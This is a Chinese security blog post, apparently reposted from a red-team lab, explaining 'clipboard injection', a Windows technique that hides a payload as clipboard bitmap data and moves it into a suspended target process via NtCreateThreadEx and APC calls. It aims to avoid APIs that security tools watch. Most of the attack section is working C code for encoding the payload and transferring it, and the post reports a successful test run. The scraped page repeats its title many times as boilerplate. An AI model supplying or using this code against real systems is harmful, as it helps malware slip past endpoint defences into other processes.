安全研发之剪贴板注入

admin 2023年4月30日02:52:45评论33 views字数 4656阅读15分31秒阅读模式
安全研发之剪贴板注入
安全研发之剪贴板注入
前言
安全研发之剪贴板注入


安全研发之剪贴板注入
安全研发之剪贴板注入

Windows 剪贴板允许我们以各种不同的格式存储数据,这样可以避免在注入执行 payload 的过程中使用一些比较敏感的 API,比如:VirtualAllocEx、WriteProcessMemory 等。

安全研发之剪贴板注入
安全研发之剪贴板注入


安全研发之剪贴板注入
安全研发之剪贴板注入
实现原理
安全研发之剪贴板注入

使用 Windows 剪贴板将 pyaload 伪装为位图数据传递到另一个进程中,最后调用执行。

安全研发之剪贴板注入
安全研发之剪贴板注入
实现步骤
安全研发之剪贴板注入
  • 挂起创建目标进程

  • 将 payload 转换为位图格式,并存储在 Windows 剪贴板中

  • 通过剪切板将全部 payload 拷贝到目标进程中

  • 待全部拷贝完成后,执行 payload

安全研发之剪贴板注入
安全研发之剪贴板注入
关键代码
安全研发之剪贴板注入

将 payload 伪装为位图数据格式

DWORD EncodeBitmapData(BYTE* pData, DWORD dwLength, DWORD* pdwBitmapDataOffset)
{
   BITMAPINFOHEADER BitmapInfoHeader;
   BYTE bCurrByte = 0;
   DWORD dwBitmapHeight = 0;
   DWORD dwTotalPixelCount = 0;
   DWORD dwRowPaddingBytes = 0;
   RGBQUAD ColourTable[256];
   HGLOBAL hBitmapData = NULL;
   BYTE* pBitmapData = NULL;

   // calculate image height
   dwBitmapHeight = dwLength / ENCODE_BITMAP_WIDTH;
   if (dwLength % ENCODE_BITMAP_WIDTH != 0)
       dwBitmapHeight++;

   // calculate number of pixels
   dwTotalPixelCount = (ENCODE_BITMAP_WIDTH * dwBitmapHeight);

   // create bitmap info header
   memset((void*)&BitmapInfoHeader, 0, sizeof(BitmapInfoHeader));
   BitmapInfoHeader.biSize = sizeof(BitmapInfoHeader);
   BitmapInfoHeader.biWidth = ENCODE_BITMAP_WIDTH;
   BitmapInfoHeader.biHeight = dwBitmapHeight;
   BitmapInfoHeader.biPlanes = 1;
   BitmapInfoHeader.biBitCount = 8;
   BitmapInfoHeader.biCompression = BI_RGB;
   BitmapInfoHeader.biSizeImage = 0;
   BitmapInfoHeader.biXPelsPerMeter = 0;
   BitmapInfoHeader.biYPelsPerMeter = 0;
   BitmapInfoHeader.biClrUsed = 256;
   BitmapInfoHeader.biClrImportant = 0;

   // calculate row padding (each image row must be dword aligned)
   dwRowPaddingBytes = 4 - ((ENCODE_BITMAP_WIDTH * (BitmapInfoHeader.biBitCount / 8)) % 4);
   if (dwRowPaddingBytes == 4)
       dwRowPaddingBytes = 0;

   // create 8-bit colour table (256 colours)
   for (DWORD i = 0; i < 256; i++)
  {
       ColourTable[i].rgbRed = (BYTE)i;
       ColourTable[i].rgbGreen = (BYTE)i;
       ColourTable[i].rgbBlue = (BYTE)i;
       ColourTable[i].rgbReserved = 0;
  }

   // allocate memory for clipboard
   hBitmapData = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(BitmapInfoHeader) + sizeof(ColourTable) + dwLength);
   if (hBitmapData == NULL)
  {
       // error
       return 1;
  }

   // lock clipboard buffer for writing
   pBitmapData = (BYTE*)GlobalLock(hBitmapData);
   if (pBitmapData == NULL)
  {
       // error
       GlobalFree(hBitmapData);

       return 1;
  }

   // write data to clipboard buffer
   memcpy((void*)pBitmapData, (void*)&BitmapInfoHeader, sizeof(BitmapInfoHeader));
   memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader)), (void*)&ColourTable[0], sizeof(ColourTable));
   memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader) + sizeof(ColourTable)), (void*)pData, dwLength);

   // unlock buffer
   GlobalUnlock(hBitmapData);

   // open clipboard
   if (OpenClipboard(NULL) == 0)
  {
       // error
       GlobalFree(hBitmapData);

       return 1;
  }

   // clear existing clipboard data
   if (EmptyClipboard() == 0)
  {
       // error
       CloseClipboard();
       GlobalFree(hBitmapData);

       return 1;
  }

   // set clipboard data
   if (SetClipboardData(CF_DIB, hBitmapData) == NULL)
  {
       // error
       CloseClipboard();
       GlobalFree(hBitmapData);

       return 1;
  }

   // close clipboard
   CloseClipboard();

   // store data offset
   *pdwBitmapDataOffset = sizeof(BitmapInfoHeader) + sizeof(ColourTable);

   return 0;
}

将 payload 数据拷贝到目标进程中,该段代码就是在目标进程中创建一个挂起的线程配合 APC 机制去不断地获取剪切板的数据

DWORD TransferDataOverClipboard(HANDLE hProcess, DWORD* pdwClipboardDataPtr)
{
   HANDLE hThread = NULL;
   DWORD dwThreadID = 0;
   DWORD dwExitCode = 0;

   // create suspended thread in remote process
   if (pNtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPVOID)GetClipboardData, (LPVOID)CF_DIB, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL) != 0)
       return 1;

   // queue OpenClipboard to execute when the thread resumes
   if (QueueUserAPC((PAPCFUNC)OpenClipboard, hThread, 0) == 0)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // resume thread - this will call OpenClipboard(NULL) and then the original entry point: GetClipboardData(CF_DIB)
   if (ResumeThread(hThread) == 0xFFFFFFFF)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // wait for thread to exit
   if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // get GetClipboardData return value
   if (GetExitCodeThread(hThread, &dwExitCode) == 0)
  {
       // error
       CloseHandle(hThread);

       return 1;
  }

   // close thread handle
   CloseHandle(hThread);

   // check if GetClipboardData failed
   if (dwExitCode == 0)
       return 1;

   // store ptr
   *pdwClipboardDataPtr = dwExitCode;

   return 0;
}
安全研发之剪贴板注入
安全研发之剪贴板注入
测试执行
安全研发之剪贴板注入

使用测试 payload 进行测试,最终 payload 成功执行并弹出计算器。

安全研发之剪贴板注入

安全研发之剪贴板注入
安全研发之剪贴板注入
小结
安全研发之剪贴板注入

剪切板属于一种进程间通信技术,通过利用剪切板在不同进程间传递数据,这样避免了一些敏感的 API 调用,VirtualAllocEx、WriteProcessMemory 等。


安全研发之剪贴板注入
安全研发之剪贴板注入

丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。

安全研发之剪贴板注入
安全研发之剪贴板注入

原文始发于微信公众号(蛇矛实验室):安全研发之剪贴板注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月30日02:52:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全研发之剪贴板注入https://cn-sec.com/archives/1698870.html

发表评论

匿名网友 填写信息